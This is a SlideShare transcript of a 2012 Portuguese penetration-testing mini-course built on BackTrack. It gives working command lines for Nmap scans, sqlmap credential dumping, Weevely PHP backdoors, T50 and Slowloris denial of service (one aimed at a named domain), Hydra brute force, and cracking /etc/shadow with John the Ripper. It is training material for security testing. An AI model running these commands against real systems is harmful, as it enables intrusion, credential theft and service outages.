Your SlideShare is downloading. ×
Mini Curso - Pen Test - Univem
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

Mini Curso - Pen Test - Univem

4,692
views

Published on

Mini curso sobre pen test - apresentado na univem 2012

Mini curso sobre pen test - apresentado na univem 2012

Published in: Technology

0 Comments
9 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
4,692
On Slideshare
0
From Embeds
0
Number of Embeds
7
Actions
Shares
0
Downloads
331
Comments
0
Likes
9
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Mini Curso:Pen test com BacktrackEvandro Villa Verde
  • 2. Objetivo: Fornecer ao aluno uma visão geral sobre testes de invasão Entender a anatomia e os tipos diferentes de ataques Conhecer as fases de um teste de invasão Conhecer as metodologias e os apectos legais
  • 3. Visão:O Teste de Invasão é um processo deanálise detalhada do nível desegurança de um sistema ou redeusando a perspectiva de um infrator. O objetivo principal é simular de formacontrolada um ataque real quenormalmente é executado por criminosos.
  • 4. Fases: Os procedimentos realizados por um profissionalde teste de intrusão é similar aos realizadospelos crackers, diferindo na intenção do ataque.1. Levantamento de informações (nome,telefone,endereço)2. Varredura (s.o,rede,serviços,firewall)3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)4. Manter acesso (backdoor e rootkits)5. Apagar rastro
  • 5. Backtrack: Backtrack é um sistema operacional linux baseado no Ubuntu. É focado em testes de seguranças e testes de penetração (pen tests), muito apreciada por hackers e analistas de segurança, podendo ser iniciado diretamente pelo CD (sem necessidade de instalar em disco), mídia removível (pendrive), máquinas virtuais ou direto no disco rígido.Fonte: http://pt.wikipedia.org/wiki/BackTrack
  • 6. Backtrack: Eleé a fusão de duas distribuições que eram bem conhecidas na época: - Whax e Auditor Security Collection Eleito em 2006 como a Distribuição Live de Segurança número 1º em sua categoriaO BT possui mais de 300 ferramentas, que vão desde teste de intrusão até Analise Forense Digital. Versão atual é BackTrack 5 R3 Released! Aug 13, 2012
  • 7. Problema: BackTrack e os Drivers para Wifi e vídeo. Ubuntu desatualizado
  • 8. Nmap: Nmap é um software livre que realiza port scan desenvolvido pelo Gordon Lyon, autoproclamado hacker "Fyodor. Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços sendo executados.
  • 9. Nmap: -sP Ping scan: Algumas vezes é necessário saber se um determinado host ou rede estáno ar. Nmap pode enviar pacotes ICMP “echo request” para verificar sedeterminado host ou rede está ativa. Hoje em dia, existem muitos filtros querejeitam os pacotes ICMP “echo request”, então envia um pacote TCP ACK paraa porta 80 (default) e caso receba RST o alvo está ativo. A terceira técnica enviaum pacote SYN e espera um RST ou SYN-ACK. Nmap –sP 192.168.1.254 Nmap –sP 192.168.1.0/24
  • 10. Nmap: TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, aporta está aberta, enquanto um como resposta indica que a porta está fechada. A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas. Nmap –sS 192.168.1.254 Nmap –sS 192.168.1.0/24
  • 11. Nmap: -sT TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado Nmap –sT 192.168.1.254 Nmap –sT 192.168.1.0/24
  • 12. Nmap: -sU UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada portado host. Se for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida. Nmap –sU 192.168.1.254
  • 13. Nmap: -O Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema Operacional e tempo ativo. Ex.: nmap -O alvo -v Modo verbose. Mostra tudo o que está se passando. Ex.: nmap -v alvo
  • 14. Nmap: -F Procura pelas portas que estão no /etc/services. Método mais rápido, porém não procurar por todas as portas. Ex.: nmap -F alvo -P0 Não tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP “echo request (ou responses)” através de firewall. Ex.: nmap -P0 alvo
  • 15. Xprobe2: Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo. Exemplo: xprobe2 [host-name] xprobe2 <ip>
  • 16. Nikto : Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração. Para atualizar e executar o Nikto, utilizamos os seguintes comandos:# ./nikto.pl -update # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
  • 17. SQL Map:Local: /pentest/database/sqlmapString: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
  • 18. SQL Map : “Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.”O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
  • 19. SQL Map : --help Mostra as opções do SQLMAP --current-db Apresenta o banco de dados atual Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db --banner Pega o Banner do DBMS Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b --dbs Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
  • 20. SQL Map : --tables Apresenta as tabelas do banco selecionado Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --columns Apresenta as colunas da tabela selecionada Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --dump Extrai as informações da colunas selecionadas Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C uname,pass --dump
  • 21. SQL Map : --current-user Apresenta o usuário ao qual a página está usando para se conectar ao banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current- user --is-dba Verifica se o usuário atual é administrador do Banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --users Enumera todos os usuários Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --users --search Varre o banco atrás do que você procura, pode ser um banco, tabela ou coluna Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --search – C „pass‟
  • 22. SQL Map : --user-agent Altera o nome do user Agent durante o ataque Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)” --level=1-5 Seta o nível de performance que ele irá utilizar para efetuar a varredura --risk=1-3 Seta o nível de risco de performance que o sqlmap efetuará para a varredura
  • 23. Weevely:Local: /pentest/backdoors/web/weevelyString: ./weevely <url> <password> <command>
  • 24. Weevely: Weevely é um backdoor PHP discreto que simula uma conexão telnet. É uma ferramenta essencial para ser injetada após a exploração de uma vulnerabilidade de uma aplicação web. Com uma permissão básica para fazer upload de arquivos PHP, você só precisa gerar e fazer o upload do código do "servidor" PHP no alvo, e executado localmente o Weevely transmiti comandos de shell.
  • 25. Weevely: Uso: Gerando o Backdoor: ./weevely generate teste/tmp/back.php # Cria um backdoor com a senha eSecurity na pasta /tmp ./weevelyhttp://www.sitevul.com/back.php teste # Acessa a shell utilizando a senha teste
  • 26. DoS: T50 ferramenta de desenvolvida por um brasileiro, Nelson Brito, capaz de fazer ataques DoS e DDoS usando o conceito de stress testing:# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP ./t50 192.168.1.105 --flood --turbo --dport 80 -S – protocol --flood --turbo (Aumenta a performance) -S (envia a flag SYN)
  • 27. DoS: Slowloris: Atacandos velhos apaches# wget http://ha.ckers.org/slowloris/slowloris.pl # chmod 777 slowloris.pl Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo
  • 28. Hydra: THC-Hydra (Last update 2012-05-23)String: hydra –L <login> -P <passwd> <ip> <serv>
  • 29. Hydra:# hydra –l root -p toor –t 12 127.0.0.1 ssh Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no loopback na porta SSH# hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt comhydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"
  • 30. Passwd:O arquivo /etc/passwd contém informações sobre todos osusuários, inclusive as suas senhas criptografadas. Ele élegível por todos os usuários e, por isso, estas senhas podemser facilmente crackeadas. Para combater estavulnerabilidade foi desenvolvido o sistema de sombreamentode senhas, os shadows passwords.Quando o sistema de sombreamento de senhas estádisponível, o campo password do arquivo /etc/passwd ésubstituído por um "x" e o password do usuário éarmazenado no arquivo /etc/shadow. Por esta razão o/etc/shadow é legível somente pelo usuário root. Destamaneira o arquivo /etc/shadow dificulta a ação de crackers.
  • 31. John :Local: /pentest/passwords/johnString: ./john arquivo.db
  • 32. John : John the Ripper é um software para quebra de senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em vários sistemas operativos (como DOS, Windows, Linux, BSD). Disponível em versão livre e paga, o John the Ripper é capaz fazer força bruta em senhas cifradas em DES, MD4 e MD5 entre outras Dicionário (Wordlist): sendo o modo mais simples. Quebra Simples (Single Crack): mais indicado para início de uma quebra e mais rápido que o wordlist
  • 33. John : Ferramenta: Unshadow Utilizadapara unir os arquivos passwd e shadow para posteriormente ser quebrada pelo John the Ripper Exemplo: ./unshadow /etc/passwd /etc/shadow >> hash.db Agora quebramos usando: ./john hash.db
  • 34. John : ./johnsenhas.txt # O modo mais simples de se usar o John é especificar o arquivo que tem as senhas e usuário e deixar ele fazer tudo automaticamente. Ele irá começar com o modo single crack, depois irá passar para o modo wordlist e finalmente irá passar para o modo incremental.